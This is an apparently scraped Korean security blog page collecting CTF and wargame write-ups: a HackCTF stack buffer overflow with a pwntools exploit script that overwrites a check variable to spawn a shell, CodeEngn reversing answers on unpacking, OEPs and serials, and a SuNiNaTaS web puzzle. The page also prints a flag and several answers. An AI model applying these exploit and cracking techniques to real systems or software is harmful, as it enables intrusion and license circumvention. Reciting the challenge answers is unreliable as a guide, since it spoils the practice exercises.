728x90
반응형
728x90
반응형
728x90
반응형

Basic_BOF #1

100

Basic BOF

nc ctf.j0n9hyun.xyz 3000

 

 

32bit ELF 파일이다.

 

IDA로 까보자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+4h] [bp-34h]@1
  int v5; // [sp+2Ch] [bp-Ch]@1
 
  v5 = 0x4030201;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n"&s);
  printf("[check] %p\n", v5);
  if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
    puts("\nYou are on the right way!");
  if ( v5 == 0xDEADBEEF )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}
cs

 

v5을 0xDEADBEEF으로 덮으면 된다.

 

메모리 구조

s [bp-34h]

v5 [bp-Ch]

34h-Ch=28h=40d

 

s에 입력을 받고, s와 v5 사이의 간격은 40바이트다. 45바이트를 입력받으니 충분히 v5을 덮을 수 있다.

 

페이로드 : "A"*40+"\xef\xbe\xad\xde"

 

ex.py

1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3000)
 
payload = "A"*40+"\xef\xbe\xad\xde"
 
p.sendline(payload)
 
p.interactive()
 
cs

 

FLAG : HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}

 

728x90
반응형
1, 10, 2, 3, 4, 5, 6, 7, 8, 9, CodeEngn, Reversing, 리버싱
728x90
반응형
Basic RCE L01
HDD를 CD-Rom으로 인식시키기 위해서는 GetDriveTypeA의 리턴값이 무엇이 되어야 하는가


검색하면 나온다.






Basic RCE L02
패스워드로 인증하는 실행파일이 손상되어 실행이 안되는 문제가 생겼다. 패스워드가 무엇인지 분석하시오 



실행도 안되고 디버깅 프로그램으로도 열리지 않는다. 그런데 HxD로 보면 패스워드를 확인할 수 있다.





Basic RCE L03
비주얼베이직에서 스트링 비교함수 이름은? 


IDA로 열어서 함수명들을 살펴보면 문자열 비교 함수를 찾을 수 있다. 정답 입력할 때 '_'는 빼고 입력해야 한다.





Basic RCE L04
이 프로그램은 디버거 프로그램을 탐지하는 기능을 갖고 있다. 디버거를 탐지하는 함수의 이름은 무엇인가 


IDA로 열어서 main_0함수 디컴파일 하면 해당 함수의 이름을 알 수 있다.




Basic RCE L05
이 프로그램의 등록키는 무엇인가



패킹이 되어 있다.




언패킹을 해주고, 


올리디버거로 열어서 참조된 문자열 리스트에서 하단으로 내려보면 키를 확인할 수 있다.




Basic RCE L06
Unpack을 한 후 Serial을 찾으시오. 
정답인증은 OEP + Serial 
Ex) 00400000PASSWORD 



5번문제와 같이 언패킹을 해준뒤 올리디버거로 연다.


프로그램이 시작되는 주소가 OEP가 되며, serial은 참조된 문자열 확인을 통해 알 수 있다.




Basic RCE L07
컴퓨터 C 드라이브의 이름이 CodeEngn 일경우 시리얼이 생성될때 CodeEngn은 'ß어떤것'으로 변경되는가 


시리얼 입력을 aaaa로 하고 C 드라이브의 이름은 Acer로 되어 있는 상태에서 올리디 버거를 돌려봤다.


"Acer" + "4562-ABEX"


가 되고 Acer부분이 연산루틴을 돈 뒤에(앞 4자리만 연산한다.)

문자열 앞에 "L2C-5781"이 붙어 시리얼이 완성된다.




비교를 하는 0x4010F7에 breakpoint를 걸고 C드라이브의 이름을 CodeEngn으로 바꾼뒤에 실행해서,

생성되는 시리얼을 확인하면 된다.


이때 CodeEngn이 바뀐 부분만 정답으로 제출하면 된다.




Basic RCE L08
OEP를 구하시오 Ex) 00400000 



역시 upx 패킹이 되어 있다.

언패킹을 하고 올리디버거로 열면 oep를 구할 수 있다.




Basic RCE L09
StolenByte를 구하시오 Ex) 75156A0068352040


stolenbyte로 인해서 언패킹이 정상적으로 이루어지지 않는다. 그대로 올리디 버거로 올린 뒤에 수동 언패킹을 하듯 jmp문을 찾아준다.




그럼 그 윗부분에 stolenbyte를 찾을 수 있다. 해당 opcode를 정답으로 제출하면 된다.




Basic RCE L10
OEP를 구한 후 '등록성공' 으로 가는 분기점의 OPCODE를 구하시오. 
정답인증은 OEP + OPCODE 
EX) 00400000EB03 




이번에는 upx가 아닌 aspack으로 패킹이 되어있음을 확인할 수 있다.


언패킹 하는 방법은 디버깅 툴로 retn 0c 를 찾아서 그 다음 두 명령어에 breakpoint를 걸어 실행하면 

push 0 가 oep값으로 바뀌어서 retn을 통해 oep로 이동하는 것이다.



breakpoint를 걸어주고




실행하면 push 0 가 push 00445834로 바뀐다. oep주소다.




참조된 문자열을 찾아서 등록완료를 출력하는 부분을 찾으면 그 윗부분에서 분기점의 opcode를 찾을 수 있다.

728x90
반응형

'WAR GAME > CodeEngn' 카테고리의 다른 글

CodeEngn [Basic RCE] 11 ~ 16 풀이  (0) 2019.02.10
CodeEngn [Basic RCE] 1 ~ 10 풀이  (0) 2019.02.09
CodeEngn [Cryptology] 풀이  (8) 2019.02.09
728x90
반응형

SuNiNaTaS의 1번문제 풀이입니다. 


[WEB]




문자열을 입력받는 폼이 있고, 아래에 코드가 있습니다.


코드를 보면, 입력받은 문자열을 처리하는 코드인 것 같습니다.


마지막에 결과가 admin이 되어야 authkey를 얻을 수 있나 봅니다.




        result = Replace(str,"a","aad")
        result = Replace(result,"i","in")
        result1 = Mid(result,2,2)
        result2 = Mid(result,4,6)
        result = result1 & result2


이것이 이제 핵심적인 코드라고 할 수 있는데요.


사용된 함수는 Replace()와 Mid() 두개 뿐입니다.


Replace(str, "a", "b")함수는 str의 "a"를 "b"로 치환해 주며, Mid(str, 1, 2)함수는 str의 1번째부터 2개의 문자를 가져옵니다.


.

.

.

그럼 이제 직접 풀어보세요!

.

.

.


.

.

.




위에서부터 하나씩 보면, a를 aad로 바꾸고, i를 in으로 바꾼 문자열에서

2번째부터 2개를 result1에, 4번째부터 6개를 result2에 저장하고

result1+result2가 admin이 되면 됩니다.


그럼 result1이 ad 가 되고 result2가 min이 되어야 하네요.


a가 aad가 되고 거기서 두번째부터 두개를 가져오면 ad가 됩니다.



result2를 생각해보면, 4번째부터 6개를 가져온게 min이 되어야 하고

in은 i가 바뀐 것이니


답은 ami 이네요.




이 문제는 직접 생각하면서 푸는게 이해가 제일 빠를 것 같습니다.



728x90
반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [WEB 6번] 풀이  (0) 2018.07.31
SuNiNaTaS [WEB 5번] 풀이  (0) 2018.07.30
SuNiNaTaS [WEB 4번] 풀이  (0) 2018.07.30
SuNiNaTaS [WEB 3번] 풀이  (0) 2018.07.30
SuNiNaTaS [WEB 2번] 풀이  (0) 2018.07.30
SuNiNaTaS [WEB 1번] 풀이  (0) 2018.07.30

+ Recent posts